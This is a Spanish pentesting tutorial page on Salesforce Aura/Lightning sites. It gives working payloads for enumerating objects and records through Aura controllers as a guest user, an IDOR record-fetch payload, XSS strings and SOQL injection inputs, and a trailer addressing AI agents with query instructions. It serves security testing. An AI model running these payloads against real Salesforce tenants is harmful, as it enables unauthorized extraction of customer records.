# Salesforce

Salesforce representa una plataforma de *Customer Relationship Management* (CRM) basada en la nube que utiliza arquitecturas *multi-tenant* y tecnologías web modernas como **Aura Framework** y **Lightning Web Components** (LWC).

La plataforma implementa un modelo de seguridad basado en perfiles, conjuntos de permisos y configuraciones de *sharing*, creando múltiples vectores de enumeración y potencial elevación de privilegios. Los componentes Aura, en particular, exponen *endpoints* específicos que pueden ser explotados para reconocimiento avanzado y extracción de información, mientras que las clases Apex y consultas SOQL presentan oportunidades de explotación del lado servidor.

## <mark style="color:red;">Reconocimiento</mark>

### <mark style="color:$danger;">Identificación de componentes Aura</mark>

Los componentes Aura constituyen el *framework* JavaScript de Salesforce para desarrollo de aplicaciones dinámicas. La identificación de objetivos comienza con enumeración DNS para dominios que terminan en `*.force.com`, `*.secure.force.com` y `*.live.siteforce.com`.

Los componentes Aura constituyen el *framework* JavaScript de Salesforce para desarrollo de aplicaciones dinámicas.&#x20;

#### <mark style="color:$warning;">**Rutas comunes**</mark>

```
/s/sfsites/aura
/aura
/sfsites/aura
/sales/aura
```

#### <mark style="color:$warning;">Identificadores de contenido Aura</mark>

```
"actions":[
aura:clientOutOfSync
aura:invalidSession
aura.context
aura.token
aura.fwuid
markup://
```

### <mark style="color:$danger;">**Descriptores de enumeración interesantes**</mark>

Los controladores Aura exponen funcionalidades específicas para extracción de metadatos y enumeración de objetos:

#### <mark style="color:$warning;">**HostConfigController**</mark>

Devuelve datos de app con lista de objetos accesibles y a menudo objetos personalizados bajo apiNamesToKeyPrefixes, sin parámetros.

```
HostConfigController/ACTION$getConfigData
```

#### <mark style="color:$warning;">**OneController**</mark>

Devuelve información de la app y a veces un listado extendido de objetos, sin parámetros.

```
OneController/ACTION$getCurrentApp
```

#### <mark style="color:$warning;">**RecordUiController**</mark>

Definición completa de objeto, campos, relaciones y permisos por perfil

Dado objectApiName, devuelve definición del objeto, campos y relaciones, útil para validar acceso por perfil/usuario.

```
aura://RecordUiController/ACTION$getObjectInfo
```

#### <mark style="color:$warning;">**SelectableListDataProviderController**</mark>

Enumeración de registros con paginación.

**Parámetros:** `entityNameOrId`, `pageSize` (máximo 1000), `layoutType` (FULL para máxima información)

```
SelectableListDataProviderController/ACTION$getItems
```

#### &#x20;<mark style="color:$warning;">DetailController</mark>

Recupera un registro por recordId cuando existen permisos.

```
DetailController/ACTION$getRecord
```

#### <mark style="color:$warning;">**ScopedResultsDataProviderController**</mark>

**B**úsqueda para términos de al menos 4 caracteres.

```
ScopedResultsDataProviderController/ACTION$getLookupItems
```

#### <mark style="color:$warning;">**ProfileMenuController**</mark>

Detalles menores del usuario actual, ayuda a confirmar contexto de permisos.

```
ProfileMenuController/ACTION$getProfileMenuResponse
```

#### <mark style="color:$warning;">ListUiController</mark>

Enumera listas definidas para un objeto, útil para comprender vistas disponibles.

```
ListUiController/ACTION$getListsByObjectName
```

### <mark style="color:$danger;">Enumeración de objetos</mark>

El *payload* mostrado para `HostConfigController` retorna *apiNamesToKeyPrefixes*, donde **`__c`** indica objetos personalizados; este paso funciona tanto para invitado como autenticado según configuración de la comunidad.

Los objetos pueden ser enumerados modificando el parámetro `message` por el siguiente *payload*:

{% code overflow="wrap" %}

```json
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}
```

{% endcode %}

{% hint style="warning" %}
En este caso, no es necesario usar codificación URL (URL encoding) en el *payload* del parámetro `message` para enviarlo en la petición.&#x20;
{% endhint %}

Se pueden extraer los <mark style="color:$primary;">**objetos personalizados**</mark> debido a que la cadena termina con `__c`, por lo que, usando el siguiente comando, se puede obtener la lista de objetos:

{% code overflow="wrap" %}

```bash
cat objects_response.json | grep "__c\"" | cut -d "\"" -f2
```

{% endcode %}

La lista completa de objetos en Salesforce se puede consultar en:

* <https://developer.salesforce.com/docs/atlas.en-us.object\\_reference.meta/object\\_reference/sforce\\_api\\_objects\\_list.htm>

Si se quiere obtener la lista actualizada de objetos de Salesforce, puedes usar tu [IA](/general/recursos-de-aprendizaje.md) de confianza para extraer la información con el siguiente *prompt*:

{% code overflow="wrap" %}

```
Necesito una lista completa de todos los objetos que se encuentran en la siguiente URL para usarlo en intruder, de Burp Suite. Necesito que sea en formato TXT: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm
```

{% endcode %}

Esto dará una lista como la siguiente:

```
Case
Account
Address
Activity
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Campaign
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Task
Name
EmailTemplate
EmailMessageRelation
...
```

Uniendo la lista de objetos por defecto y la lista de objetos personalizados, se podrá crear una lista que luego se podrá usar con *intruder* para obtener los registros de dichos objetos.

### <mark style="color:$danger;">Enumeración de registros de objetos</mark>

Con *intruder* (Burp Suite) es posible automatizar la obtención de información de cada uno de los objetos:

1. Se copia la lista en la sección de "Payloads" de intruder, seleccionando la opción de "Simple list".
2. Se modifica el parámetro `message` de la petición con el siguiente *payload*.
3. Se cambia itera sobre el valor de `entityNameOrId`.
4. Se modifica `pageSize` con un valor en el rango 100–1000 y `currentPage` para paginar.

{% code overflow="wrap" %}

```json
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§object§","layoutType":"FULL","pageSize":1000,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
```

{% endcode %}

Ejemplo de *json* de la respuesta:

```json
{
  "actions": [
    {
      "id": "123;a",
      "state": "SUCCESS",
      "returnValue": {
        "result": [
          {
            "record": {
              "Id": "0015g00000A7T3AAK",
              "Origin": "test",
              "LastModifiedDate": "2024-06-19T08:17:57.000Z",
              "Account": null
            }
          },
          {
            "record": {
              "Id": "0015g00000B5T7BBL",
              "Origin": "email",
              "LastModifiedDate": "2024-06-20T10:30:00.000Z",
              "Account": "123456"
            }
          }
        ]
      }
    }
  ]
}

```

Si se copia el *json* de la respuesta, es posible filtrar con `jd` el resultado obtenido. Por ejemplo:

* Obtención de identificadores de registros:

{% code overflow="wrap" %}

```bash
jq -r '.actions[0].returnValue.result[].record.Id' data.json
```

{% endcode %}

### <mark style="color:$danger;">Patrones de IDs y prefijos</mark>

Los identificadores de Salesforce implementan un esquema de prefijos de 3 caracteres seguidos de 15 dígitos alfanuméricos (*case-sensitive*):

**Prefijos estándar críticos:**

* `005`: User
* `500`: Case
* `001`: Account
* `003`: Contact
* `00Q`: Lead
* `a00`: Custom Objects (variable)

En los siguientes enlaces se encuentran los identificadores por defecto:

* <https://help.salesforce.com/s/articleView?id=000385203&type=1>
* <https://automationchampion.com/2024/01/22/salesforce-object-key-prefix-list-2/>

**Generación de patrones para&#x20;*****brute force*****:**

Si se quiere identificar cuáles son los caracteres que varían en los identificadores para posteriormente realizar un ataque de fuerza bruta para obtener identificadores no conocidos, se puede usar el siguiente comando:

{% code overflow="wrap" %}

```bash
awk 'NR==1{for(i=1;i<=length($0);i++) c[i]=substr($0,i,1)}
     NR>1{for(i=1;i<=length($0);i++) if(c[i]!=substr($0,i,1)) c[i]="?"}
     END{print; for(i=1;i<=length($0);i++) printf "%s", c[i]; print ""}' ids.txt
```

{% endcode %}

Ejemplo de salida:

```
4007N01000?????SA?
```

## <mark style="color:red;">Vulnerabilidades</mark>

### <mark style="color:$danger;">Acceso como usuario invitado</mark>

El contexto de usuario invitado representa el vector de ataque más crítico, ya que **el acceso no autenticado** ocurre cuando `aura.token=null` o `aura.token=undefined`. Esta configuración permite a los atacantes explotar permisos de objeto mal configurados, ejecutar métodos Apex privilegiados y extraer datos sensibles sin autenticación.

### <mark style="color:$danger;">Referencia directa segura a objetos</mark>

Los ataques de *Insecure Direct Object Reference* (IDOR) en Salesforce trascienden la simple modificación de parámetros. La plataforma implementa múltiples capas de control de acceso que incluyen permisos a nivel de objeto, campo y registro.

{% code overflow="wrap" %}

```json
{
  "actions": [{
    "descriptor": "serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord", 
    "params": {
      "recordId": "TARGET_RECORD_ID",
      "layoutType": "FULL",
      "modes": ["VIEW"]
    }
  }]
}
```

{% endcode %}

Acceso a información de objetos no autorizados, por ejemplo, habiendo iniciado sesión con el usuario A, modificar el `recordId` por el del usuario B.

* `recordId: "0015g00000A7T3AAK"` → Usuario A
* `recordId: "0015g00000B5T7BBL"` → Usuario B

{% hint style="warning" %}
Aunque se pueda acceder, hay que verificar que realmente sea información que no deba estar accesible para el usuario.
{% endhint %}

### <mark style="color:$danger;">Exposición de información sensible vía token y contexto</mark>

Los parámetros `aura.context` (base64) y `aura.token` (jwt) están codificados en *urlencode* y *base64*, por lo que, se puede decodificar el contenido de los mismos y buscar información sensible que pueda estar expuesta.

* <https://meyerweb.com/eric/tools/dencoder/>
* <https://www.base64decode.org/>
* <https://jwt.io/>

### <mark style="color:$danger;">XSS</mark>

{% code overflow="wrap" %}

```c
// Inyección SVG - URLInyección SOQL
?aura.tag=%3Csvg%20onload%3Dalert%28document.domain%29%3E&aura.format=JSON

// Inyección de atributo de componente
{!'">\<script\>alert(document.domain)\</script\>'}

// Explotación de manejador de eventos Lightning  
\<lightning:button onclick="{!c.handleClick}" label="Click" data-payload="javascript:alert(1)"/\>

// Escape de contexto de componente Aura
\<aura:if isTrue="{!and(true,true)}"\>\<script\>alert('XSS')\</script\>\</aura:if\>
```

{% endcode %}

### <mark style="color:$danger;">Inyección SOQL</mark>

SOQL (Salesforce Object Query Language) difiere significativamente del SQL tradicional pero sigue siendo vulnerable a ataques de inyección cuando la entrada del usuario se concatena directamente en las consultas.

```sql
// Payload básico de exfiltración de datos
%' AND Performance_rating__c<2 AND Name LIKE '%

// Acceso a datos de objetos cruzados
%' OR Account.Industry = 'Healthcare' OR Name LIKE '%

// Técnica de enumeración de campos
%' OR (Name LIKE '%' AND CreatedBy.VerySecretFlag__c != null) OR Name LIKE '%

// Inyección vulnerable en campo numérico
1 OR 1=1 LIMIT 1000
```

**Técnicas de inyección basadas en errores** explotan parámetros contentDocumentId a través de análisis de mensajes de respuesta:

* Documento válido: "Cannot invoke 'common.udd.EntityInfo.getEntityId()'"
* Documento inválido: "Error in retrieving content document"

{% code overflow="wrap" %}

```sql
069TP00000HbJbNYAV' AND OwnerId IN (SELECT Id FROM User WHERE Email LIKE 'a%') AND ContentDocumentId != '
```

{% endcode %}

## <mark style="color:red;">Referencias</mark>

* <https://developer.salesforce.com/>
* <https://developer.salesforce.com/docs/platform/lwc/guide>
* <https://www.varonis.com/blog/misconfigured-salesforce-experiences>
* <https://automationchampion.com/2024/01/22/salesforce-object-key-prefix-list-2/>
* <https://help.salesforce.com/s/articleView?id=000385203&type=1>
* <https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-1-the-essentials-ffae632a00e5>
* <https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-2-fuzz-exploit-eefae11ba5ae>
* <http://0xbro.red/writeups/web-hacking/salesforce-hacking/>
* <http://enumerated.ie/index/salesforce-lightning-tinting-the-windows>
* <https://www.enumerated.ie/index/salesforce>
* <https://projectblack.io/blog/salesforce-penetration-testing-fundamentals/>
* <https://sallam.gitbook.io/sec-88/cloud-sec/salesforce-hacking/basics>
* <https://sallam.gitbook.io/sec-88/cloud-sec/salesforce-hacking/salesforce-saas-apps-hacking>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-aplicaciones-web/tecnologia/salesforce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
